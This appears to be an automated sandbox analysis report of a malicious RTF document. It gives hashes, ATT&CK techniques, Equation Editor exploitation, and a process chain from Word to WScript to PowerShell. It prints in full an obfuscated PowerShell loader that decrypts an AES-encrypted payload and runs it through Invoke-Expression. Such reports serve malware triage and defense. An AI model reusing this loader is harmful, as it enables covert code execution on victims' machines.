31140a7886fc0eb5ad8c8cfa9b6f1235107c3be462509629786219fc02475c6a

General

Target

31140a7886fc0eb5ad8c8cfa9b6f1235107c3be462509629786219fc02475c6a.rtf
Size

83KB
MD5

485c8b0bbaec4e72949307d766a4bfba
SHA1

955c3d40f463ceb059f1443db2dacc39a6ff4fc0
SHA256

31140a7886fc0eb5ad8c8cfa9b6f1235107c3be462509629786219fc02475c6a
SHA512

5e881d82a71e0032e89106f8e73ea09d66b13e97139742bbfa9c317ff36ef1b48789fa8918063b55fd52643e6ef726b0a64131882ebbdccd85d690d59929833d
SSDEEP

384:7miElA2F+Hn2+hVyjQvvnD/vyu1uje9pNJV0/msR4LTo96vljpYSZD:7mi8A2F+Hn1hcjUvjyu1u6/NJ2uhjpND

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	3060	EQNEDT32.EXE
7	2664	WScript.exe
9	2664	WScript.exe
11	2548	powershell.exe
12	2548	powershell.exe
13	2548	powershell.exe
14	2548	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2548	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
3060	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1512	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1512	WINWORD.EXE
1512	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 2664	3060	EQNEDT32.EXE	32
PID 3060 wrote to memory of 2664	3060	EQNEDT32.EXE	32
PID 3060 wrote to memory of 2664	3060	EQNEDT32.EXE	32
PID 3060 wrote to memory of 2664	3060	EQNEDT32.EXE	32
PID 2664 wrote to memory of 2548	2664	WScript.exe	34
PID 2664 wrote to memory of 2548	2664	WScript.exe	34
PID 2664 wrote to memory of 2548	2664	WScript.exe	34
PID 2664 wrote to memory of 2548	2664	WScript.exe	34
PID 1512 wrote to memory of 1908	1512	WINWORD.EXE	36
PID 1512 wrote to memory of 1908	1512	WINWORD.EXE	36
PID 1512 wrote to memory of 1908	1512	WINWORD.EXE	36
PID 1512 wrote to memory of 1908	1512	WINWORD.EXE	36

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\31140a7886fc0eb5ad8c8cfa9b6f1235107c3be462509629786219fc02475c6a.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1512
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1908

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\mydatinglifeissoggod.vBS"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87249095873756925133548634564426CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIZLpL9xl3Py+l8SR7slUHUevBi1kBPUVFUCXAdS1V5ry05GEIxWvXEOEv1VXBCN/6cFqtMoGP0r3wozPtH3gBxltdo0dRAPTvI+5L5jNRlmpL7WSN11Y+o37cmQECE8m5yoQaueGAvWVRkCK/PJggM1f7GsQuVUav7ecHNhuvfvbIUtomkHUSPUynPB7YxjwHb9VVASA6ynKfVj20Nfj8WQ7m2yfUEf4iX1Z2RtVRce/Tc/UOEG/UJWb/SMU7rylafB8vATtzQFPJtzBfjVsf3peHeI8xleZA8YPEScObOBTc+uNaMICEVs7R4BLmsc4l8PCLyph5Lgp++ElK7qI4jtp/RHIJuqorKpX6Z6enzP2OnM6Gdkj3oeTd6TDHXJRaUSOu4AP12kaFVPUHjF/0HzsFavMzg+Z0486QdMYNBAx5AM0K/ux8BInwP0WVlwkexz3i8PtSLHiOZjMZM0mfpBrZzyj7YNu+99FOBZSBWkgl7GF4VBexJkO7BuZQ/8KFjHyZNiHjGUzAMeLD2YOxqqb7qXZvV86/mnCaAdvTRkrdbsedMvxZLGwcdO/kFSezhOQHAxj0nTy50GK0fRfN+EouESXq0TyVPKn6RQ7NZA/tp6SscNfu0IZCTxk5yAfLRq0UUSRFHK7JDTbqfXFgnrlaDktcVcvJ7chZWsyZlaeTn8UD1NVuoPbwAo+cceAVYjSIEs/4nJQy4FeV3hup3tAK5+q1xAcHEfz5lyvj9gxOFUsAbIEtWoQq49ZMNoOe4mdm1N915TDKBfBvjhQWlKPOFU6VpIS1fjh9bD9luXJcqT3WMfXD2+rOvtqB77xcyJ5U4HPTw2wM5NXisVtECe42SWZhBCulh7qInAsksm8Uasns4sgc4u/dzWk9Pd72ZpmVeZlCQ5dmIrXeilYleXmsZPtjGXQdQXU1be07ioVuMLFRlQAYgvUZZAcqu1x2ndcER9XrnH5yo4xSvEfTYXNR7mJcPBdCf/a0OrfwlnDoNrIJVuNCW5tSSdt4dc6+HTvdpurrcwqDwVRoj1FvcEKPEZSpnqSICFzcP/VUBP5HPm+AxruprcAOd+XuLkUIu2P9E9RFLDfe/FyC6ZMBoNVfIUlre8xrGhKU8YplJh4xUKmzJWmGzQaX52PbhdD+oQK4QmH+gz31Xd26dXnY2i3pkowffE2WT0Hd1q8OtjkgmN3cEJtNHPOh+y74t++HAmn28qyqMsHrp3ZvFeLsn5CipIEWqbj085ABBwfkGiGHRoTArXWxB+KLgIqXhU9MJ5HCihOfq+K4TsBwkDBq0kGKVi7yYHM0H7cXTtl8xaeYdszb3+8UYMTd/VnYFBCIczEr8wLjI6lA+Wh4gMUfan/X7R0sMw8zDoJezuccj93Ja8+pzRDpUXE41+2rd+N+Js0A4OpwbrL2dMigMJlceKXw7S3skJXJNFR4GWUS8plXZkj+8KQAq6mLfuY81ETRclFSZ8AwZQXPZaQdPCL8cpqVBjdHDxaJGUO2W5/WV6XwBBZQBWYW14JnnGep6zNhQeAFLQFqG5brETFxYXmg7mMgkb9LdJXrFTc2W6wcp9XNvzBOgTYtHvCXLaKSJ4hp5EmpZvBWzE9CJvwVjkK4usRXyfei5Y3CB02D6OGurX9Un56ijcMiHjrmxs+O0kqc0JhxR8LJUXbao7SYEvms+CayWu2ST8GQ7smRUi0VR6bIx3AE3mSQ6HJQ5dNBANiQSmIg3deBJmWbspKm7azWwKCytzN//aoV7zQViOO/34qAvsHA7lEy/DLqHEd0w+bLgM0Lo5vCElEUh6CCXB3XJA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GA43GQEJ\paste1[1].txt

Filesize
156B

MD5
ad6c37ef980373e9bcbd14810fad34bc

SHA1
9c061a1b3608b7c7f1db7cd06c8246913ee11bda

SHA256
ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

SHA512
30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
b9233149214b597a54530ce21fdf21be

SHA1
64a6d7040fe557eb77aec46c3238f180250609d5

SHA256
df4821007852e5342abe18c5d2faecc7ecb527315b7d34ea9c6f99b17d796421

SHA512
a5418019dda7714113dc075ba003bb16a3821cf880777e98ce960ec928e1979bd71f0cdb040c21fd622fd24065e4d60d9e120a8a009e1fcea7f65f832b59c92a

Download Submit
C:\Users\Admin\AppData\Roaming\mydatinglifeissoggod.vBS

Filesize
55KB

MD5
3d6214efa393e9c67ecfbd8ca4bda0a7

SHA1
a69dd0e377d1aa762dfce07f397aee061dd688b2

SHA256
f884d494e7f128626fdd6e03440082058d3d65a039387ae84e83598cea1ba926

SHA512
94d79c6c94a910725cfbeb5f2e05c9e343471d79178457dbfa9dadf4a259e8cef75e062ad7be2a38c9156f590a89f3f0c6e192039c3aded6d847a441f5704e83

Download Submit
memory/1512-0-0x000000002F171000-0x000000002F172000-memory.dmp

Filesize
4KB

Download
memory/1512-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1512-2-0x000000007111D000-0x0000000071128000-memory.dmp

Filesize
44KB

Download
memory/1512-37-0x000000007111D000-0x0000000071128000-memory.dmp

Filesize
44KB

Download
memory/1512-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

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